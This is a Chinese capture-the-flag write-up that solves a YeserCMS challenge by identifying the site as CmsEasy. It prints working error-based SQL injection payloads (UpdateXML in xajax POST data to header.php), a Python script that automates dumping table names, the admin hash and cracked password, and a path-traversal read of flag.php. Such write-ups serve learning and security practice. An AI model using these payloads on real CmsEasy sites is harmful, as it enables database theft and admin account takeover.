考点：个人认为主要是考察cms的识别，只要能正确识别出cms，就直接上网找存在的漏洞。
刚开始看到Yesercms，但是上网找的都是解题思路。但是自己到处找还是找不到，还是看了一下别的师傅的解题。
真正的cms是叫easycms，在文档评论区可以找到，另外这个cms还存在xss漏洞，不过需要管理员配合，对解题没有帮助，就只能上网找找有没有别的历史漏洞。
除了sql注入，别的漏洞也是存在的，直接跟着网上的复现过程就好。
访问/celive/live/header.php进行报错入，对于这种报错注入，关于xajax=Postdata&xajaxargs[0]=<xjxquery><q>的意思，大家可以看看cmseasy sql注入漏洞（无视防御）_黑客技术，我的理解是源码里函数的使用，在使用的时候带入了恶意语句，感觉就是经典的传参带入sql语句获取信息（不知道理解的对不对哈）
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>爆出数据库名
爆表名（就不一一截图了）
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>（yesercms_a_attachment,yesercms_'）发现得到表不完整，自己又菜，不会写脚本，于是乎找到了一位师傅写的代码，group_concat只取数据的32位，所以我们用python脚本跑一下，得到完整的数据库表：（“百度杯”CTF比赛 九月场--YeserCMS_Oavinci的博客-CSDN博客）
import requests
url = 'http://716273d9a6ec4d0aae92e2d8cdeb6598f22ad989d39c4360.changame.ichunqiu.com/celive/live/header.php'
for i in range(1,999,31):
postdata = {
'xajax':'Postdata',
'xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" %str(i)
}
r = requests.post(url,data=postdata)
print r.content[22:53]得到表：yesercms_user
爆列名：
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>username,password
最后获取用户名密码
admin
ff512d4240cbbdeafada40467（MD5加密）解密：Yeser23
登陆成功后，在“管理-模板-当前模板编辑”中存在文件读取漏洞
抓包
&id=../../flag.php(直接读取flag文件)
有人可能会问为什么知道这里有文件读取漏洞，其实知道了cms，这个网站有什么历史漏洞都直接可以搜出来了。为什么是../../两级目录呢，这是试出来的，一级一级的试嘛。